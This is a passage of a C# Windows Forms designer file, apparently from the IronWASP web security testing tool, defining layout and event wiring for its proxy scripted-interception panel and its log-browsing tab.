this.panel5.BackColor = System.Drawing.Color.LightSkyBlue; - this.panel5.Controls.Add(this.textBox6); - this.panel5.Dock = System.Windows.Forms.DockStyle.Top; - this.panel5.Location = new System.Drawing.Point(0, 0); - this.panel5.Margin = new System.Windows.Forms.Padding(0); - this.panel5.Name = "panel5"; - this.panel5.Size = new System.Drawing.Size(697, 64); - this.panel5.TabIndex = 22; - // - // textBox6 - // - this.textBox6.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox6.BackColor = System.Drawing.Color.LightSkyBlue; - this.textBox6.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox6.Location = new System.Drawing.Point(8, 4); - this.textBox6.Margin = new System.Windows.Forms.Padding(0); - this.textBox6.Multiline = true; - this.textBox6.Name = "textBox6"; - this.textBox6.ReadOnly = true; - this.textBox6.Size = new System.Drawing.Size(680, 55); - this.textBox6.TabIndex = 9; - this.textBox6.TabStop = false; - this.textBox6.Text = resources.GetString("textBox6.Text"); - // - // ShowScriptedInterceptionTemplateLL - // - this.ShowScriptedInterceptionTemplateLL.AutoSize = true; - this.ShowScriptedInterceptionTemplateLL.Location = new System.Drawing.Point(208, 70); - this.ShowScriptedInterceptionTemplateLL.Name = "ShowScriptedInterceptionTemplateLL"; - this.ShowScriptedInterceptionTemplateLL.Size = new System.Drawing.Size(134, 13); - this.ShowScriptedInterceptionTemplateLL.TabIndex = 21; - this.ShowScriptedInterceptionTemplateLL.TabStop = true; - this.ShowScriptedInterceptionTemplateLL.Text = "Show sample Python script"; - this.ShowScriptedInterceptionTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowScriptedInterceptionTemplateLL_LinkClicked); - // - // ScriptedInterceptionScriptTopRTB - // - this.ScriptedInterceptionScriptTopRTB.BackColor = System.Drawing.SystemColors.Window; - this.ScriptedInterceptionScriptTopRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScriptedInterceptionScriptTopRTB.Dock = System.Windows.Forms.DockStyle.Bottom; - this.ScriptedInterceptionScriptTopRTB.Location = new System.Drawing.Point(0, 110); - this.ScriptedInterceptionScriptTopRTB.Margin = new System.Windows.Forms.Padding(0); - this.ScriptedInterceptionScriptTopRTB.Name = "ScriptedInterceptionScriptTopRTB"; - this.ScriptedInterceptionScriptTopRTB.ReadOnly = true; - this.ScriptedInterceptionScriptTopRTB.Size = new System.Drawing.Size(697, 20); - this.ScriptedInterceptionScriptTopRTB.TabIndex = 24; - this.ScriptedInterceptionScriptTopRTB.Text = "def ShouldIntercept(sess):"; - // - // ScriptedInterceptionActivateScriptCB - // - this.ScriptedInterceptionActivateScriptCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ScriptedInterceptionActivateScriptCB.AutoSize = true; - this.ScriptedInterceptionActivateScriptCB.Location = new System.Drawing.Point(462, 70); - this.ScriptedInterceptionActivateScriptCB.Name = "ScriptedInterceptionActivateScriptCB"; - this.ScriptedInterceptionActivateScriptCB.Size = new System.Drawing.Size(230, 17); - this.ScriptedInterceptionActivateScriptCB.TabIndex = 20; - this.ScriptedInterceptionActivateScriptCB.Text = "Activate this Script for Scripted Interception"; - this.ScriptedInterceptionActivateScriptCB.UseVisualStyleBackColor = true; - this.ScriptedInterceptionActivateScriptCB.CheckedChanged += new System.EventHandler(this.ScriptedInterceptionActivateScriptCB_CheckedChanged); - // - // ScriptedInterceptionPythonRB - // - this.ScriptedInterceptionPythonRB.AutoSize = true; - this.ScriptedInterceptionPythonRB.Checked = true; - this.ScriptedInterceptionPythonRB.Location = new System.Drawing.Point(71, 67); - this.ScriptedInterceptionPythonRB.Name = "ScriptedInterceptionPythonRB"; - this.ScriptedInterceptionPythonRB.Size = new System.Drawing.Size(58, 17); - this.ScriptedInterceptionPythonRB.TabIndex = 17; - this.ScriptedInterceptionPythonRB.TabStop = true; - this.ScriptedInterceptionPythonRB.Text = "Python"; - this.ScriptedInterceptionPythonRB.UseVisualStyleBackColor = true; - this.ScriptedInterceptionPythonRB.CheckedChanged += new System.EventHandler(this.ScriptedInterceptionPythonRB_CheckedChanged); - // - // ScriptedInterceptionRubyRB - // - this.ScriptedInterceptionRubyRB.AutoSize = true; - this.ScriptedInterceptionRubyRB.Location = new System.Drawing.Point(132, 67); - this.ScriptedInterceptionRubyRB.Name = "ScriptedInterceptionRubyRB"; - this.ScriptedInterceptionRubyRB.Size = new System.Drawing.Size(50, 17); - this.ScriptedInterceptionRubyRB.TabIndex = 18; - this.ScriptedInterceptionRubyRB.Text = "Ruby"; - this.ScriptedInterceptionRubyRB.UseVisualStyleBackColor = true; - this.ScriptedInterceptionRubyRB.CheckedChanged += new System.EventHandler(this.ScriptedInterceptionRubyRB_CheckedChanged); - // - // label42 - // - this.label42.AutoSize = true; - this.label42.Location = new System.Drawing.Point(7, 69); - this.label42.Name = "label42"; - this.label42.Size = new System.Drawing.Size(58, 13); - this.label42.TabIndex = 16; - this.label42.Text = "Language:"; - // - // ScriptedInterceptionBottomSplit - // - this.ScriptedInterceptionBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScriptedInterceptionBottomSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; - this.ScriptedInterceptionBottomSplit.IsSplitterFixed = true; - this.ScriptedInterceptionBottomSplit.Location = new System.Drawing.Point(0, 0); - this.ScriptedInterceptionBottomSplit.Margin = new System.Windows.Forms.Padding(0); - this.ScriptedInterceptionBottomSplit.Name = "ScriptedInterceptionBottomSplit"; - this.ScriptedInterceptionBottomSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ScriptedInterceptionBottomSplit.Panel1 - // - this.ScriptedInterceptionBottomSplit.Panel1.Controls.Add(this.ScriptedInterceptionCTB); - // - // ScriptedInterceptionBottomSplit.Panel2 - // - this.ScriptedInterceptionBottomSplit.Panel2.Controls.Add(this.ScriptedInterceptionScriptBottomRTB); - this.ScriptedInterceptionBottomSplit.Panel2.Controls.Add(this.ScriptedInterceptionErrorTB); - this.ScriptedInterceptionBottomSplit.Size = new System.Drawing.Size(697, 271); - this.ScriptedInterceptionBottomSplit.SplitterDistance = 244; - this.ScriptedInterceptionBottomSplit.SplitterWidth = 2; - this.ScriptedInterceptionBottomSplit.TabIndex = 24; - // - // ScriptedInterceptionCTB - // - this.ScriptedInterceptionCTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScriptedInterceptionCTB.LangCode = 1; - this.ScriptedInterceptionCTB.Location = new System.Drawing.Point(0, 0); - this.ScriptedInterceptionCTB.Margin = new System.Windows.Forms.Padding(0); - this.ScriptedInterceptionCTB.Name = "ScriptedInterceptionCTB"; - this.ScriptedInterceptionCTB.ReadOnly = false; - this.ScriptedInterceptionCTB.ShowLineNumbers = false; - this.ScriptedInterceptionCTB.ShowSpacesAndTabs = false; - this.ScriptedInterceptionCTB.Size = new System.Drawing.Size(697, 244); - this.ScriptedInterceptionCTB.TabIndex = 23; - this.ScriptedInterceptionCTB.ValueChanged += new IronWASP.CodeTextBox.ValueChangedEvent(this.ScriptedInterceptionCTB_ValueChanged); - // - // ScriptedInterceptionScriptBottomRTB - // - this.ScriptedInterceptionScriptBottomRTB.BackColor = System.Drawing.SystemColors.Window; - this.ScriptedInterceptionScriptBottomRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScriptedInterceptionScriptBottomRTB.Dock = System.Windows.Forms.DockStyle.Top; - this.ScriptedInterceptionScriptBottomRTB.Location = new System.Drawing.Point(0, 0); - this.ScriptedInterceptionScriptBottomRTB.Margin = new System.Windows.Forms.Padding(0); - this.ScriptedInterceptionScriptBottomRTB.Name = "ScriptedInterceptionScriptBottomRTB"; - this.ScriptedInterceptionScriptBottomRTB.ReadOnly = true; - this.ScriptedInterceptionScriptBottomRTB.Size = new System.Drawing.Size(697, 38); - this.ScriptedInterceptionScriptBottomRTB.TabIndex = 19; - this.ScriptedInterceptionScriptBottomRTB.Text = " return False"; - // - // ScriptedInterceptionErrorTB - // - this.ScriptedInterceptionErrorTB.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(128))))); - this.ScriptedInterceptionErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScriptedInterceptionErrorTB.Dock = System.Windows.Forms.DockStyle.Bottom; - this.ScriptedInterceptionErrorTB.Location = new System.Drawing.Point(0, -6); - this.ScriptedInterceptionErrorTB.Margin = new System.Windows.Forms.Padding(0); - this.ScriptedInterceptionErrorTB.Multiline = true; - this.ScriptedInterceptionErrorTB.Name = "ScriptedInterceptionErrorTB"; - this.ScriptedInterceptionErrorTB.ReadOnly = true; - this.ScriptedInterceptionErrorTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.ScriptedInterceptionErrorTB.Size = new System.Drawing.Size(697, 31); - this.ScriptedInterceptionErrorTB.TabIndex = 22; - this.ScriptedInterceptionErrorTB.Visible = false; - // - // ProxyHelpTab - // - this.ProxyHelpTab.Controls.Add(this.ProxyHelpTB); - this.ProxyHelpTab.Location = new System.Drawing.Point(4, 22); - this.ProxyHelpTab.Name = "ProxyHelpTab"; - this.ProxyHelpTab.Size = new System.Drawing.Size(697, 403); - this.ProxyHelpTab.TabIndex = 3; - this.ProxyHelpTab.Text = " Help "; - this.ProxyHelpTab.UseVisualStyleBackColor = true; - // - // ProxyHelpTB - // - this.ProxyHelpTB.BackColor = System.Drawing.Color.White; - this.ProxyHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ProxyHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ProxyHelpTB.Location = new System.Drawing.Point(0, 0); - this.ProxyHelpTB.Multiline = true; - this.ProxyHelpTB.Name = "ProxyHelpTB"; - this.ProxyHelpTB.ReadOnly = true; - this.ProxyHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.ProxyHelpTB.Size = new System.Drawing.Size(697, 403); - this.ProxyHelpTB.TabIndex = 1; - this.ProxyHelpTB.TabStop = false; - this.ProxyHelpTB.Text = resources.GetString("ProxyHelpTB.Text"); - // - // mt_logs - // - this.mt_logs.Controls.Add(this.LogBaseSplit); - this.mt_logs.Location = new System.Drawing.Point(4, 22); - this.mt_logs.Margin = new System.Windows.Forms.Padding(0); - this.mt_logs.Name = "mt_logs"; - this.mt_logs.Size = new System.Drawing.Size(705, 511); - this.mt_logs.TabIndex = 9; - this.mt_logs.Text = " Logs "; - this.mt_logs.UseVisualStyleBackColor = true; - // - // LogBaseSplit - // - this.LogBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogBaseSplit.Location = new System.Drawing.Point(0, 0); - this.LogBaseSplit.Name = "LogBaseSplit"; - this.LogBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // LogBaseSplit.Panel1 - // - this.LogBaseSplit.Panel1.Controls.Add(this.LogsTopSplit); - // - // LogBaseSplit.Panel2 - // - this.LogBaseSplit.Panel2.Controls.Add(this.LogsBottomSplit); - this.LogBaseSplit.Size = new System.Drawing.Size(705, 511); - this.LogBaseSplit.SplitterDistance = 255; - this.LogBaseSplit.TabIndex = 3; - // - // LogsTopSplit - // - this.LogsTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogsTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.LogsTopSplit.IsSplitterFixed = true; - this.LogsTopSplit.Location = new System.Drawing.Point(0, 0); - this.LogsTopSplit.Margin = new System.Windows.Forms.Padding(0); - this.LogsTopSplit.Name = "LogsTopSplit"; - this.LogsTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // LogsTopSplit.Panel1 - // - this.LogsTopSplit.Panel1.Controls.Add(this.ShowLogGridBtn); - this.LogsTopSplit.Panel1.Controls.Add(this.StartLogAnalyzerBtn); - this.LogsTopSplit.Panel1.Controls.Add(this.PreviousLogBtn); - this.LogsTopSplit.Panel1.Controls.Add(this.LogOptionsBtn); - this.LogsTopSplit.Panel1.Controls.Add(this.ProxyShowOriginalRequestCB); - this.LogsTopSplit.Panel1.Controls.Add(this.LogIDLbl); - this.LogsTopSplit.Panel1.Controls.Add(this.ProxyShowOriginalResponseCB); - this.LogsTopSplit.Panel1.Controls.Add(this.LogSourceLbl); - this.LogsTopSplit.Panel1.Controls.Add(this.NextLogBtn); - this.LogsTopSplit.Panel1.Controls.Add(this.LogStatusTB); - // - // LogsTopSplit.Panel2 - // - this.LogsTopSplit.Panel2.Controls.Add(this.LogDisplayTabs); - this.LogsTopSplit.Size = new System.Drawing.Size(705, 255); - this.LogsTopSplit.SplitterDistance = 57; - this.LogsTopSplit.SplitterWidth = 2; - this.LogsTopSplit.TabIndex = 17; - // - // ShowLogGridBtn - // - this.ShowLogGridBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ShowLogGridBtn.Location = new System.Drawing.Point(616, 5); - this.ShowLogGridBtn.Name = "ShowLogGridBtn"; - this.ShowLogGridBtn.Size = new System.Drawing.Size(88, 23); - this.ShowLogGridBtn.TabIndex = 12; - this.ShowLogGridBtn.Text = "Hide Log Grids"; - this.ShowLogGridBtn.UseVisualStyleBackColor = true; - this.ShowLogGridBtn.Click += new System.EventHandler(this.ShowLogGridBtn_Click); - // - // StartLogAnalyzerBtn - // - this.StartLogAnalyzerBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.StartLogAnalyzerBtn.Location = new System.Drawing.Point(467, 5); - this.StartLogAnalyzerBtn.Name = "StartLogAnalyzerBtn"; - this.StartLogAnalyzerBtn.Size = new System.Drawing.Size(144, 23); - this.StartLogAnalyzerBtn.TabIndex = 16; - this.StartLogAnalyzerBtn.Text = "Search and Analyze Logs"; - this.StartLogAnalyzerBtn.UseVisualStyleBackColor = true; - this.StartLogAnalyzerBtn.Click += new System.EventHandler(this.StartLogAnalyzerBtn_Click); - // - // PreviousLogBtn - // - this.PreviousLogBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.PreviousLogBtn.Location = new System.Drawing.Point(4, 4); - this.PreviousLogBtn.Name = "PreviousLogBtn"; - this.PreviousLogBtn.Size = new System.Drawing.Size(49, 23); - this.PreviousLogBtn.TabIndex = 3; - this.PreviousLogBtn.Text = "<"; - this.PreviousLogBtn.UseVisualStyleBackColor = true; - this.PreviousLogBtn.Click += new System.EventHandler(this.PreviousLogBtn_Click); - // - // LogOptionsBtn - // - this.LogOptionsBtn.ContextMenuStrip = this.LogMenu; - this.LogOptionsBtn.Location = new System.Drawing.Point(116, 6); - this.LogOptionsBtn.Name = "LogOptionsBtn"; - this.LogOptionsBtn.Size = new System.Drawing.Size(47, 19); - this.LogOptionsBtn.TabIndex = 15; - this.LogOptionsBtn.Text = "\\/"; - this.LogOptionsBtn.UseVisualStyleBackColor = true; - this.LogOptionsBtn.Click += new System.EventHandler(this.LogOptionsBtn_Click); - // - // ProxyShowOriginalRequestCB - // - this.ProxyShowOriginalRequestCB.AutoSize = true; - this.ProxyShowOriginalRequestCB.Location = new System.Drawing.Point(187, 5); - this.ProxyShowOriginalRequestCB.MaximumSize = new System.Drawing.Size(155, 17); - this.ProxyShowOriginalRequestCB.Name = "ProxyShowOriginalRequestCB"; - this.ProxyShowOriginalRequestCB.Size = new System.Drawing.Size(134, 17); - this.ProxyShowOriginalRequestCB.TabIndex = 10; - this.ProxyShowOriginalRequestCB.Text = "Show Original Request"; - this.ProxyShowOriginalRequestCB.UseVisualStyleBackColor = true; - this.ProxyShowOriginalRequestCB.Visible = false; - this.ProxyShowOriginalRequestCB.CheckedChanged += new System.EventHandler(this.ProxyShowOriginalRequestCB_CheckedChanged); - // - // LogIDLbl - // - this.LogIDLbl.AutoSize = true; - this.LogIDLbl.Location = new System.Drawing.Point(91, 30); - this.LogIDLbl.Name = "LogIDLbl"; - this.LogIDLbl.Size = new System.Drawing.Size(21, 13); - this.LogIDLbl.TabIndex = 14; - this.LogIDLbl.Text = "ID:"; - // - // ProxyShowOriginalResponseCB - // - this.ProxyShowOriginalResponseCB.AutoSize = true; - this.ProxyShowOriginalResponseCB.Location = new System.Drawing.Point(327, 5); - this.ProxyShowOriginalResponseCB.MaximumSize = new System.Drawing.Size(155, 17); - this.ProxyShowOriginalResponseCB.Name = "ProxyShowOriginalResponseCB"; - this.ProxyShowOriginalResponseCB.Size = new System.Drawing.Size(142, 17); - this.ProxyShowOriginalResponseCB.TabIndex = 11; - this.ProxyShowOriginalResponseCB.Text = "Show Original Response"; - this.ProxyShowOriginalResponseCB.UseVisualStyleBackColor = true; - this.ProxyShowOriginalResponseCB.Visible = false; - this.ProxyShowOriginalResponseCB.CheckedChanged += new System.EventHandler(this.ProxyShowOriginalResponseCB_CheckedChanged); - // - // LogSourceLbl - // - this.LogSourceLbl.AutoSize = true; - this.LogSourceLbl.Location = new System.Drawing.Point(6, 30); - this.LogSourceLbl.Name = "LogSourceLbl"; - this.LogSourceLbl.Size = new System.Drawing.Size(44, 13); - this.LogSourceLbl.TabIndex = 2; - this.LogSourceLbl.Text = "Source:"; - // - // NextLogBtn - // - this.NextLogBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.NextLogBtn.Location = new System.Drawing.Point(60, 4); - this.NextLogBtn.Name = "NextLogBtn"; - this.NextLogBtn.Size = new System.Drawing.Size(49, 23); - this.NextLogBtn.TabIndex = 4; - this.NextLogBtn.Text = ">"; - this.NextLogBtn.UseVisualStyleBackColor = true; - this.NextLogBtn.Click += new System.EventHandler(this.NextLogBtn_Click); - // - // LogStatusTB - // - this.LogStatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.LogStatusTB.BackColor = System.Drawing.SystemColors.Window; - this.LogStatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.LogStatusTB.ForeColor = System.Drawing.Color.Red; - this.LogStatusTB.Location = new System.Drawing.Point(138, 32); - this.LogStatusTB.Multiline = true; - this.LogStatusTB.Name = "LogStatusTB"; - this.LogStatusTB.ReadOnly = true; - this.LogStatusTB.Size = new System.Drawing.Size(513, 17); - this.LogStatusTB.TabIndex = 13; - this.LogStatusTB.Visible = false; - // - // LogDisplayTabs - // - this.LogDisplayTabs.Controls.Add(this.tabPage7); - this.LogDisplayTabs.Controls.Add(this.tabPage29); - this.LogDisplayTabs.Controls.Add(this.tabPage1); - this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); - this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); - this.LogDisplayTabs.Name = "LogDisplayTabs"; - this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); - this.LogDisplayTabs.SelectedIndex = 0; - this.LogDisplayTabs.Size = new System.Drawing.Size(705, 196); - this.LogDisplayTabs.TabIndex = 2; - // - // tabPage7 - // - this.tabPage7.Controls.Add(this.LogRequestView); - this.tabPage7.Location = new System.Drawing.Point(4, 22); - this.tabPage7.Margin = new System.Windows.Forms.Padding(0); - this.tabPage7.Name = "tabPage7"; - this.tabPage7.Size = new System.Drawing.Size(697, 170); - this.tabPage7.TabIndex = 0; - this.tabPage7.Text = " Request "; - this.tabPage7.UseVisualStyleBackColor = true; - // - // LogRequestView - // - this.LogRequestView.BackColor = System.Drawing.Color.White; - this.LogRequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogRequestView.Location = new System.Drawing.Point(0, 0); - this.LogRequestView.Margin = new System.Windows.Forms.Padding(0); - this.LogRequestView.Name = "LogRequestView"; - this.LogRequestView.ReadOnly = true; - this.LogRequestView.Size = new System.Drawing.Size(697, 170); - this.LogRequestView.TabIndex = 0; - // - // tabPage29 - // - this.tabPage29.Controls.Add(this.LogResponseView); - this.tabPage29.Location = new System.Drawing.Point(4, 22); - this.tabPage29.Margin = new System.Windows.Forms.Padding(0); - this.tabPage29.Name = "tabPage29"; - this.tabPage29.Size = new System.Drawing.Size(697, 170); - this.tabPage29.TabIndex = 1; - this.tabPage29.Text = " Response "; - this.tabPage29.UseVisualStyleBackColor = true; - // - // LogResponseView - // - this.LogResponseView.BackColor = System.Drawing.Color.White; - this.LogResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogResponseView.IncludeReflectionTab = true; - this.LogResponseView.Location = new System.Drawing.Point(0, 0); - this.LogResponseView.Margin = new System.Windows.Forms.Padding(0); - this.LogResponseView.Name = "LogResponseView"; - this.LogResponseView.ReadOnly = true; - this.LogResponseView.Size = new System.Drawing.Size(697, 170); - this.LogResponseView.TabIndex = 0; - // - // tabPage1 - // - this.tabPage1.Controls.Add(this.LogsHelpTB); - this.tabPage1.Location = new System.Drawing.Point(4, 22); - this.tabPage1.Name = "tabPage1"; - this.tabPage1.Size = new System.Drawing.Size(697, 170); - this.tabPage1.TabIndex = 2; - this.tabPage1.Text = " Help "; - this.tabPage1.UseVisualStyleBackColor = true; - // - // LogsHelpTB - // - this.LogsHelpTB.BackColor = System.Drawing.Color.White; - this.LogsHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.LogsHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogsHelpTB.Location = new System.Drawing.Point(0, 0); - this.LogsHelpTB.Multiline = true; - this.LogsHelpTB.Name = "LogsHelpTB"; - this.LogsHelpTB.ReadOnly = true; - this.LogsHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.LogsHelpTB.Size = new System.Drawing.Size(697, 170); - this.LogsHelpTB.TabIndex = 1; - this.LogsHelpTB.TabStop = false; - this.LogsHelpTB.Text = resources.GetString("LogsHelpTB.Text"); - // - // LogsBottomSplit - // - this.LogsBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogsBottomSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.LogsBottomSplit.IsSplitterFixed = true; - this.LogsBottomSplit.Location = new System.Drawing.Point(0, 0); - this.LogsBottomSplit.Margin = new System.Windows.Forms.Padding(0); - this.LogsBottomSplit.Name = "LogsBottomSplit"; - this.LogsBottomSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // LogsBottomSplit.Panel1 - // - this.LogsBottomSplit.Panel1.Controls.Add(this.label28); - this.LogsBottomSplit.Panel1.Controls.Add(this.ViewProxyDisplayFilterLink); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogStatusLbl); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogFrontThreeBtn); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogStatLbl); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogBackTwoBtn); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogFrontFourBtn); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogFrontOneBtn); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogBackOneBtn); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogBackThreeBtn); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogFrontTwoBtn); - this.LogsBottomSplit.Panel1.Controls.Add(this.MainLogBackFourBtn); - // - // LogsBottomSplit.Panel2 - // - this.LogsBottomSplit.Panel2.Controls.Add(this.LogTabs); - this.LogsBottomSplit.Size = new System.Drawing.Size(705, 252); - this.LogsBottomSplit.SplitterDistance = 70; - this.LogsBottomSplit.SplitterWidth = 2; - this.LogsBottomSplit.TabIndex = 17; - // - // label28 - // - this.label28.AutoSize = true; - this.label28.ForeColor = System.Drawing.Color.Gray; - this.label28.Location = new System.Drawing.Point(9, 52); - this.label28.Name = "label28"; - this.label28.Size = new System.Drawing.Size(436, 13); - this.label28.TabIndex = 20; - this.label28.Text = "Proxy Requests/Responses that don\'t match the display filter are hidden. To adjus" + - "t the filter"; - // - // ViewProxyDisplayFilterLink - // - this.ViewProxyDisplayFilterLink.AutoSize = true; - this.ViewProxyDisplayFilterLink.Location = new System.Drawing.Point(445, 52); - this.ViewProxyDisplayFilterLink.Name = "ViewProxyDisplayFilterLink"; - this.ViewProxyDisplayFilterLink.Size = new System.Drawing.Size(53, 13); - this.ViewProxyDisplayFilterLink.TabIndex = 19; - this.ViewProxyDisplayFilterLink.TabStop = true; - this.ViewProxyDisplayFilterLink.Text = "click here"; - this.ViewProxyDisplayFilterLink.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ViewProxyDisplayFilterLink_LinkClicked); - // - // MainLogStatusLbl - // - this.MainLogStatusLbl.AutoSize = true; - this.MainLogStatusLbl.Location = new System.Drawing.Point(9, 38); - this.MainLogStatusLbl.Name = "MainLogStatusLbl"; - this.MainLogStatusLbl.Size = new System.Drawing.Size(530, 13); - this.MainLogStatusLbl.TabIndex = 17; - this.MainLogStatusLbl.Text = "Right-click on any log below to get a menu that will let you perform scans and ot" + - "her actions on the selected log."; - // - // MainLogFrontThreeBtn - // - this.MainLogFrontThreeBtn.Location = new System.Drawing.Point(576, 7); - this.MainLogFrontThreeBtn.Name = "MainLogFrontThreeBtn"; - this.MainLogFrontThreeBtn.Size = new System.Drawing.Size(55, 20); - this.MainLogFrontThreeBtn.TabIndex = 14; - this.MainLogFrontThreeBtn.Text = ">>>"; - this.MainLogFrontThreeBtn.UseVisualStyleBackColor = true; - this.MainLogFrontThreeBtn.Click += new System.EventHandler(this.MainLogFrontThreeBtn_Click); - // - // MainLogStatLbl - // - this.MainLogStatLbl.AutoSize = true; - this.MainLogStatLbl.Location = new System.Drawing.Point(246, 11); - this.MainLogStatLbl.Name = "MainLogStatLbl"; - this.MainLogStatLbl.Size = new System.Drawing.Size(139, 13); - this.MainLogStatLbl.TabIndex = 16; - this.MainLogStatLbl.Text = "Showing 0 - 0 of Proxy Logs"; - // - // MainLogBackTwoBtn - // - this.MainLogBackTwoBtn.Location = new System.Drawing.Point(127, 7); - this.MainLogBackTwoBtn.Name = "MainLogBackTwoBtn"; - this.MainLogBackTwoBtn.Size = new System.Drawing.Size(55, 20); - this.MainLogBackTwoBtn.TabIndex = 10; - this.MainLogBackTwoBtn.Text = "<<"; - this.MainLogBackTwoBtn.UseVisualStyleBackColor = true; - this.MainLogBackTwoBtn.Click += new System.EventHandler(this.MainLogBackTwoBtn_Click); - // - // MainLogFrontFourBtn - // - this.MainLogFrontFourBtn.Location = new System.Drawing.Point(637, 7); - this.MainLogFrontFourBtn.Name = "MainLogFrontFourBtn"; - this.MainLogFrontFourBtn.Size = new System.Drawing.Size(55, 20); - this.MainLogFrontFourBtn.TabIndex = 15; - this.MainLogFrontFourBtn.Text = ">>>>"; - this.MainLogFrontFourBtn.UseVisualStyleBackColor = true; - this.MainLogFrontFourBtn.Click += new System.EventHandler(this.MainLogFrontFourBtn_Click); - // - // MainLogFrontOneBtn - // - this.MainLogFrontOneBtn.Location = new System.Drawing.Point(454, 7); - this.MainLogFrontOneBtn.Name = "MainLogFrontOneBtn"; - this.MainLogFrontOneBtn.Size = new System.Drawing.Size(55, 20); - this.MainLogFrontOneBtn.TabIndex = 12; - this.MainLogFrontOneBtn.Text = ">"; - this.MainLogFrontOneBtn.UseVisualStyleBackColor = true; - this.MainLogFrontOneBtn.Click += new System.EventHandler(this.MainLogFrontOneBtn_Click); - // - // MainLogBackOneBtn - // - this.MainLogBackOneBtn.Location = new System.Drawing.Point(188, 7); - this.MainLogBackOneBtn.Name = "MainLogBackOneBtn"; - this.MainLogBackOneBtn.Size = new System.Drawing.Size(55, 20); - this.MainLogBackOneBtn.TabIndex = 11; - this.MainLogBackOneBtn.Text = "<"; - this.MainLogBackOneBtn.UseVisualStyleBackColor = true; - this.MainLogBackOneBtn.Click += new System.EventHandler(this.MainLogBackOneBtn_Click); - // - // MainLogBackThreeBtn - // - this.MainLogBackThreeBtn.Location = new System.Drawing.Point(66, 7); - this.MainLogBackThreeBtn.Name = "MainLogBackThreeBtn"; - this.MainLogBackThreeBtn.Size = new System.Drawing.Size(55, 20); - this.MainLogBackThreeBtn.TabIndex = 9; - this.MainLogBackThreeBtn.Text = "<<<"; - this.MainLogBackThreeBtn.UseVisualStyleBackColor = true; - this.MainLogBackThreeBtn.Click += new System.EventHandler(this.MainLogBackThreeBtn_Click); - // - // MainLogFrontTwoBtn - // - this.MainLogFrontTwoBtn.Location = new System.Drawing.Point(515, 7); - this.MainLogFrontTwoBtn.Name = "MainLogFrontTwoBtn"; - this.MainLogFrontTwoBtn.Size = new System.Drawing.Size(55, 20); - this.MainLogFrontTwoBtn.TabIndex = 13; - this.MainLogFrontTwoBtn.Text = ">>"; - this.MainLogFrontTwoBtn.UseVisualStyleBackColor = true; - this.MainLogFrontTwoBtn.Click += new System.EventHandler(this.MainLogFrontTwoBtn_Click); - // - // MainLogBackFourBtn - // - this.MainLogBackFourBtn.Location = new System.Drawing.Point(5, 7); - this.MainLogBackFourBtn.Name = "MainLogBackFourBtn"; - this.MainLogBackFourBtn.Size = new System.Drawing.Size(55, 20); - this.MainLogBackFourBtn.TabIndex = 1; - this.MainLogBackFourBtn.Text = "<<<<"; - this.MainLogBackFourBtn.UseVisualStyleBackColor = true; - this.MainLogBackFourBtn.Click += new System.EventHandler(this.MainLogBackFourBtn_Click); - // - // LogTabs - // - 